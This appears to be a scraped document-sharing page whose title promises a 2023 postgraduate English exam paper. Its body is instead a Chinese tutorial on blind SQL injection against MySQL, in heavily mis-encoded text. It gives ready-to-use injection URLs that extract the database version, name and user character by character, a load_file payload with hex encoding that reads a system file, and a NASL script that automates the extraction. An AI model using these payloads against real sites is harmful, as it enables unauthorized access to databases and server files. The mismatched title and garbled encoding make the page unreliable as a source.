2023年全國碩士研究生考試考研英語一試題真題(含答案詳解+作文范文)_第1頁
已閱讀1頁,還剩8頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、<p>  Mysql 經(jīng)典注射</p><p><b>  前言:</b></p><p>  mysql 4.0 之前的版本不支持 union 語句,所以 mysql 4.0 之前的版本的注射和其他版本的Mysql 注射有很大的區(qū)別。Mysql 4.0 及其之后的版本的注射大多數(shù)是利用union 聯(lián)合查詢來實現(xiàn)的,這種方法速度快,經(jīng)典注射的方法在4.0

2、及其版本的 mysql也是可行的,但由于其方法復(fù)雜而不推薦使用。</p><p><b>  實現(xiàn):</b></p><p>  當(dāng)然首先要有一個注入點。</p><p>  發(fā)現(xiàn)內(nèi)網(wǎng) http://192.168.0.1 special_view.php 存在注入漏洞。</p><p><b>  源代碼如下

3、:</b></p><p><b>  Id 沒有過濾。</b></p><p>  因此 http://192.168.0.1/special_view.php?id=16 [sql injection statement] 即可實現(xiàn)注入。</p><p><b>  1.猜解版本</b></p>

4、<p>  查詢 mysql 版本的sql語句:</p><p>  SELECT version();</p><p>  我們可以構(gòu)造以下的url 進(jìn)行猜解:</p><p>  http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(version(),1,1))>96<

5、/p><p>  上面的url 是猜版本號的第一位,我們用瀏覽器打開它時,myql 數(shù)據(jù)庫中執(zhí)行了下面語句:</p><p>  select * from special where id=16 and ascii(mid(version(),1,1))>96</p><p>  我們知道 mysql 的版本號的第一位是3,3的ascii 碼是51 因此上面的

6、語句為假,沒有查詢到任何結(jié)果。瀏覽器打開該url的結(jié)果如下:</p><p>  而 http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(version(),1,1))<96</p><p>  就不同了,在 mysql數(shù)據(jù)庫中執(zhí)行下面的語句:</p><p>  select * from

7、 special where id=16 and ascii(mid(version(),1,1))<96</p><p>  因為3 的ascii 碼小于96所有上面的語句為真,執(zhí)行的結(jié)果如下。</p><p>  因此瀏覽器就返回了正確的頁面。</p><p>  同理,我們就可以猜解版本號的第2位,第3位。。。</p><p> 

8、 http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(version(),2,1))<96</p><p><b>  。。。</b></p><p>  2. 猜解數(shù)據(jù)庫名:</p><p>  查詢數(shù)據(jù)庫名是sql 語句:</p><p>  

9、SELECT database()</p><p><b>  在瀏覽器中打開 </b></p><p>  http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(database(),1,1))<96</p><p>  也就執(zhí)行了下面的語句:</p>&l

10、t;p>  select * from special where id=16 and ascii(mid(database(),1,1))<96</p><p>  因為i 的accii碼 105大于96,所以上面的語句為假,執(zhí)行后查詢不到任何結(jié)果。瀏覽器返回如下:</p><p><b>  在瀏覽器中打開</b></p><p&

11、gt;  http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(database(),1,1))>96 即在mysql 數(shù)據(jù)庫里執(zhí)行:</p><p>  select * from special where id=16 and ascii(mid(database(),1,1))>96</p><p>  

12、因為i 的accii碼 105大于96 , 所以上面的語句為真,myql 數(shù)據(jù)庫執(zhí)行結(jié)果如下:</p><p>  在瀏覽器中打開結(jié)果如下:</p><p><b>  3. 猜數(shù)據(jù)庫用戶</b></p><p>  原理和上面猜myql 的版本和數(shù)據(jù)庫名是一樣的。只不過利用的函數(shù)是 user()</p><p>  查

13、詢數(shù)據(jù)庫用戶名的 sql 語句:</p><p>  SELECT user()</p><p><b>  構(gòu)造 </b></p><p>  http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(user(),1,1))>96</p><p> 

14、 等語句就可以實現(xiàn)對數(shù)據(jù)用戶名的猜解,相當(dāng)執(zhí)行了下面語句:</p><p>  select * from special where id=16 and ascii(mid(user(),1,1))>96</p><p><b>  4. 讀文件</b></p><p>  讀 ‘c:\boot.ini’ 文件的sql 語句:<

15、/p><p>  SELECT load_file(‘c:/boot.ini’) 為了避開單引號,采取以下兩種方式。</p><p>  SELECT load_file(char(99,58,92,98,111,111,116,46,105,110,105)) 或者</p><p>  SELECT load_file(0x633A5C626F6F742E696E69

16、)</p><p>  http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(load_file(0x633A2F626F6F742E696E69),1,1))>96</p><p>  在瀏覽器中打開這個url,就在myql 數(shù)據(jù)庫里執(zhí)行了下面語句:</p><p>  select * fr

17、om special where id=16 and ascii(mid(load_file(0x633A2F626F6F742E696E69),1,1))>96</p><p>  因為 [ 的 ascii 碼為91 小于96 因此上面的語句為假,查詢不到任何結(jié)果。</p><p><b>  而在瀏覽器里打開 </b></p><p&g

18、t;  http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(load_file(0x633A2F626F6F742E696E69),1,1))<96</p><p>  在mysql 數(shù)據(jù)庫里執(zhí)行了下面語句:</p><p>  select * from special where id=16 and ascii

19、(mid(load_file(0x633A2F626F6F742E696E69),1,1))<96</p><p><b>  執(zhí)行的結(jié)果如下:</b></p><p>  Nasl 腳本簡單實現(xiàn)猜解 mysql 版本:</p><p>  include("http_func.inc");</p>&l

20、t;p>  include("http_keepalive.inc");</p><p>  port = 80;</p><p>  soc = http_open_socket(port);</p><p>  Ori_url = "/special_view.php?id=16";</p><p

21、>  req = http_get(item:Ori_url,port:80);</p><p>  r = http_keepalive_send_recv(port:80, data:req);</p><p>  if ("200 OK" >!< r)</p><p><b>  exit(0);</b&g

22、t;</p><p>  flag = strlen(r);</p><p><b>  # 猜版本號長度</b></p><p>  for(i=1;i<30;i++)</p><p><b>  {</b></p><p>  url = "/specia

23、l_view.php?id=16%20and%20length(version())=" + i;</p><p>  req_length = http_get(item:url,port:80);</p><p>  length_recv = http_keepalive_send_recv(port:80, data:req_length);</p><

24、;p>  if ("200 OK" >< length_recv)</p><p><b>  {</b></p><p>  if(flag == strlen(length_recv))</p><p><b>  {</b></p><p>  displ

25、ay("length:",i,"\n");</p><p>  version_len = i;</p><p><b>  break;</b></p><p><b>  }</b></p><p><b>  }</b></p

26、><p><b>  }</b></p><p><b>  # 猜版本號內(nèi)容</b></p><p>  #display(version_len,"\n");</p><p>  display("version:");</p><p>

27、;  for (i =1; i<(version_len+1); i++)</p><p><b>  {</b></p><p>  high =128;</p><p><b>  low = 0;</b></p><p>  while(low<=high)</p>

28、<p><b>  {</b></p><p>  mid = (high+low)/2;</p><p>  content_length = "/special_view.php?id=16%20and%20ascii(mid(version(),"+ i +",1))="+mid;</p><

29、p>  #display(content_length,"\n");</p><p>  req = http_get(item:content_length,port:80);</p><p>  recv = http_keepalive_send_recv(port:80,data:req);</p><p>  if ("

30、200 OK" >< recv)</p><p><b>  {</b></p><p>  if(strlen(recv)== flag)</p><p><b>  {</b></p><p>  finalvalue = raw_string(mid);</p>

31、;<p>  display(finalvalue);</p><p><b>  break;</b></p><p><b>  }</b></p><p><b>  }</b></p><p>  content_length = "/speci

32、al_view.php?id=16%20and%20ascii(mid(version(),"+ i +",1))>"+mid;</p><p>  req = http_get(item:content_length,port:80);</p><p>  recv = http_keepalive_send_recv(port:80,data:req

33、);</p><p>  if ("200 OK" >< recv)</p><p><b>  {</b></p><p>  if(strlen(recv)== flag)</p><p>  low=mid+1;</p><p><b>  }<

34、;/b></p><p>  content_length = "/special_view.php?id=16%20and%20ascii(mid(version(),"+ i +",1))<"+mid;</p><p>  req = http_get(item:content_length,port:80);</p>

35、<p>  recv = http_keepalive_send_recv(port:80,data:req);</p><p>  if ("200 OK" >< recv)</p><p><b>  {</b></p><p>  if(strlen(recv)== flag)</p>

36、<p>  high=mid-1;</p><p><b>  }</b></p><p><b>  }</b></p><p>  if(low > high)</p><p><b>  {</b></p><p>  disp

37、lay("The content is not between Ascii 1-128, \nthis complier desn't support Chinese word ! \n I'm sorry!\n");</p><p><b>  exit(0);</b></p><p><b>  }</b>

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論